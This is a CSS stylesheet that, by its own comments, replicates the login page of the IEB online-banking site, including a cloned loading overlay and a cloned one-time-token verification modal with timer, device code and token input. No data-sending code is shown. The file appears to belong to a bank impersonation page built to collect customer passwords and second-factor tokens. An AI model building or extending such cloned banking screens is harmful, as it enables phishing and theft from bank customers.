/* Réplica login IEB — basado en cssNuevoLogDis.css (ieb.com.mx/NB/) */

*,
*::before,
*::after {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

html,
body {
    height: 100%;
}

body {
    font-family: 'Inter', system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
    background: #ffffff;
    color: #111827;
}

.page-wrapper {
    min-height: 100vh;
    display: flex;
    justify-content: center;
    align-items: flex-start;
    padding: 4rem 2.5rem;
    background: #ffffff;
}

.login-card {
    display: flex;
    justify-content: center;
    align-items: flex-start;
    gap: 175px;
}

.login-left {
    flex: 1;
    display: flex;
    flex-direction: column;
}

.login-left form,
.ieb-form {
    width: 432px;
}

.login-content {
    width: 432px;
    min-height: 474px;
    margin-top: 120px;
    margin-left: 201px;
}

.login-title {
    width: 432px;
    height: 50px;
    font-family: 'Inter', sans-serif;
    font-size: 40px;
    font-weight: 600;
    line-height: 125%;
    color: #171618;
    margin-bottom: 0.6rem;
}

.login-subtitle {
    width: 100%;
    height: auto;
    font-family: 'Inter', sans-serif;
    font-size: 16px;
    font-weight: 400;
    line-height: 120%;
    letter-spacing: 0.25px;
    color: #6B7280;
    max-width: 380px;
    margin-bottom: 66px;
    display: inline-flex;
    flex-wrap: wrap;
    gap: 0.25em;
}

.login-subtitle .brand-name {
    font-family: 'Inter', sans-serif;
    font-weight: 600;
    font-size: 16px;
    line-height: 125%;
    letter-spacing: 0.25px;
    color: #171618;
    display: inline;
}

.login-panel {
    display: none;
}

.login-panel--active {
    display: block;
}

.form-group {
    margin-bottom: 24px;
}

.form-label {
    display: block;
    font-family: 'Inter', sans-serif;
    font-size: 14px;
    font-weight: 400;
    line-height: 120%;
    color: #6B7280;
    padding: 10px;
    margin-left: 16px;
}

.form-input-wrapper {
    position: relative;
}

.form-input {
    width: 100%;
    height: 48px;
    padding: 0 48px 0 16px;
    border-radius: 8px;
    border: 1px solid #E5E7EB;
    background: #FFFFFF;
    font-family: 'Inter', sans-serif;
    font-size: 16px;
    font-weight: 400;
    color: #000000;
    outline: none;
}

input:-webkit-autofill,
input:-webkit-autofill:hover,
input:-webkit-autofill:focus {
    -webkit-box-shadow: 0 0 0 1000px #ffffff inset;
    box-shadow: 0 0 0 1000px #ffffff inset;
}

.form-input:focus {
    border-color: #9ca3af;
}

.input-action {
    position: absolute;
    right: 12px;
    top: 50%;
    transform: translateY(-50%);
    width: 24px;
    height: 24px;
    padding: 0;
    border: none;
    background-color: transparent;
    background-image: url('images/ieb/ojito.png');
    background-size: 20px 20px;
    background-repeat: no-repeat;
    background-position: center;
    cursor: pointer;
}

.forgot-link {
    display: block;
    text-align: right;
    font-size: 14px;
    font-weight: 400;
    color: #6B7280;
    text-decoration: none;
    margin-top: 8px;
}

.forgot-link:hover {
    text-decoration: underline;
}

.btn-login {
    width: 218px;
    height: 48px;
    margin: 53px auto 0 auto;
    padding: 0 32px;
    display: flex;
    align-items: center;
    justify-content: center;
    background: #E7E7E7;
    color: #9CA3AF;
    border: none;
    border-radius: 4px;
    font-family: 'Inter', sans-serif;
    font-size: 16px;
    font-weight: 600;
    cursor: not-allowed;
}

.btn-login:not(:disabled) {
    background: #171618;
    color: #FFFFFF;
    cursor: pointer;
    transition: background 0.2s ease, transform 0.1s ease;
}

.btn-login:not(:disabled):hover {
    background: #0f0f0f;
}

.btn-login:not(:disabled):active {
    transform: scale(0.98);
}

.extra-links {
    margin-top: 16px;
    text-align: center;
    font-family: 'Inter', sans-serif;
    font-size: 14px;
    color: #9CA3AF;
}

.first-time-link {
    display: inline-flex;
    align-items: center;
    gap: 4px;
    font-weight: 500;
    margin-left: 5px;
    color: #171618;
    text-decoration: none;
}

.first-time-link:hover {
    color: #111111;
}

.icon-up-right {
    display: inline-block;
    width: 20px;
    height: 20px;
    background: url('images/ieb/up-right.png') no-repeat center center;
    background-size: 20px 20px;
    vertical-align: middle;
    margin-left: 4px;
}

.login-right {
    flex: 0 0 clamp(300px, 40vw, 850px);
    max-width: 850px;
    width: 100%;
}

.login-right-inner {
    width: 100%;
    height: auto;
    object-fit: contain;
    border-radius: 24px;
    display: block;
}

.login-footer {
    width: 475px;
    margin: 48px 0 0 201px;
    padding-top: 18px;
    border-top: 1px solid #e5e7eb;
    display: flex;
    justify-content: space-between;
    align-items: center;
    font-family: 'Inter', sans-serif;
    font-size: 14px;
    color: #9ca3af;
}

.login-footer-links {
    display: flex;
    align-items: center;
}

.footer-link {
    color: #9ca3af;
    text-decoration: none;
    transition: color 0.2s ease;
}

.footer-link:hover {
    color: #111111;
}

.footer-link-help {
    margin-left: 34px;
}

.lang-switch {
    display: flex;
    align-items: center;
    gap: 0;
}

.lang-link {
    color: #000000;
    text-decoration: none;
    font-size: 14px;
    font-weight: 400;
}

.lang-link.lang-active {
    font-weight: 600;
    color: #171618;
}

.lang-sep {
    padding: 0 6px;
    color: #9ca3af;
}

input[type="password"]::-ms-reveal,
input[type="password"]::-ms-clear {
    display: none !important;
}

/* Loading overlay (clonado de ieb.com.mx / app.kapital.com) */
body.ieb-is-loading {
    overflow: hidden;
}

.ieb-loading-backdrop {
    position: fixed;
    inset: 0;
    z-index: 9999;
    display: flex;
    align-items: center;
    justify-content: center;
    background: rgba(0, 0, 0, 0.8);
    color: #fff;
}

.ieb-loading-backdrop[hidden] {
    display: none;
}

.ieb-loading-content {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    text-align: center;
    padding: 24px;
}

.ieb-loading-logo {
    display: block;
}

.ieb-loading-title {
    margin: 2.5rem 0 0;
    font-size: 1rem;
    font-weight: 600;
    line-height: 1.5;
    color: #fff;
}

.ieb-loading-subtitle {
    margin: 0.25rem 0 0;
    font-size: 0.875rem;
    font-weight: 400;
    line-height: 1.43;
    color: #fff;
}

.ieb-svg-section {
    animation: ieb-loading-appear linear infinite;
}

@keyframes ieb-loading-appear {
    40% {
        fill: #b7bfc9;
    }
    100% {
        fill: rgba(0, 0, 0, 0);
    }
}

/* Token step — modal sobre login (clonado de pagValidaToken IEB) */
.login-step[hidden],
.ieb-token-step[hidden] {
    display: none;
}

.ieb-token-step {
    position: fixed;
    inset: 0;
    z-index: 9998;
    display: flex;
    align-items: flex-start;
    justify-content: center;
    padding: 48px 24px 24px;
    background: rgba(0, 0, 0, 0.55);
    overflow-y: auto;
}

.ieb-token-modal {
    width: 100%;
    max-width: 645px;
    background: #fff;
    padding: 24px 28px 28px;
    font-family: 'Inter', Arial, Helvetica, sans-serif;
    color: #000;
    box-sizing: border-box;
}

.ieb-token-header {
    margin-bottom: 24px;
}

.ieb-token-logo {
    width: 180px;
    height: auto;
    display: block;
}

.ieb-token-box {
    background: #c8c8c8;
    padding: 20px 18px 18px;
}

.ieb-token-box-inner {
    background: #c8c8c8;
    padding: 18px 16px;
}

.ieb-token-row {
    display: flex;
    align-items: flex-start;
    gap: 16px;
}

.ieb-token-icon {
    flex: 0 0 auto;
    margin-top: 8px;
}

.ieb-token-main {
    flex: 1 1 auto;
    min-width: 0;
}

.ieb-token-phrase {
    margin: 0 0 14px;
    font-size: 14px;
    font-weight: 700;
    color: #000;
}

.ieb-token-phrase strong {
    font-weight: 700;
}

.ieb-token-fields {
    display: grid;
    grid-template-columns: max-content 220px;
    column-gap: 10px;
    row-gap: 12px;
    align-items: center;
}

.ieb-token-timer-label,
.ieb-token-device-label,
.ieb-token-input-label {
    justify-self: end;
    text-align: right;
    white-space: nowrap;
}

.ieb-token-timer-label {
    font-size: 15px;
    font-weight: 600;
    color: #000;
}

.ieb-token-progress-track {
    width: 100%;
    height: 12px;
    background: #e8e8e8;
    border-radius: 2px;
    overflow: hidden;
}

.ieb-token-progress-bar {
    width: 100%;
    height: 100%;
    background: #0056b3;
    transition: width 1s linear;
}

.ieb-token-device-label {
    font-size: 15px;
    font-weight: 600;
    color: #000;
}

.ieb-token-device-code {
    display: block;
    width: 100%;
    box-sizing: border-box;
    padding: 5px 10px;
    background: #b0b0b0;
    border-radius: 8px;
    font-size: 16px;
    font-weight: 700;
    letter-spacing: 1px;
    font-variant-numeric: tabular-nums;
    color: #fff;
    text-align: center;
    min-height: 28px;
    line-height: 18px;
}

.ieb-token-device-code.is-loading {
    letter-spacing: 3px;
    font-size: 18px;
    font-weight: 700;
}

.ieb-token-input-label {
    font-size: 15px;
    font-weight: 700;
    color: #000;
}

.ieb-token-input-row {
    display: flex;
    align-items: center;
    gap: 6px;
    width: 100%;
}

.ieb-token-input {
    flex: 1 1 auto;
    min-width: 0;
    height: 21px;
    padding: 0 8px;
    border: 1px solid #9a9a9a;
    border-radius: 8px;
    background: #fff;
    font-size: 14px;
    color: #000;
}

.ieb-token-input:focus {
    outline: 2px solid #465364;
    outline-offset: 1px;
}

.ieb-token-btn {
    flex: 0 0 auto;
    padding: 0;
    border: none;
    background: transparent;
    cursor: pointer;
    line-height: 0;
}

.ieb-token-btn-img {
    display: block;
    width: 61px;
    height: 21px;
}

.ieb-token-btn:hover {
    opacity: 0.92;
}

.ieb-token-btn:disabled {
    opacity: 0.65;
    cursor: not-allowed;
}

.ieb-token-warning {
    margin-top: 18px;
    font-size: 12px;
    line-height: 1.55;
    color: #000;
}

.ieb-token-warning p {
    margin: 0 0 8px;
}

.ieb-token-warning ul {
    margin: 0 0 8px 20px;
    padding: 0;
}

.ieb-token-warning li {
    margin-bottom: 4px;
}
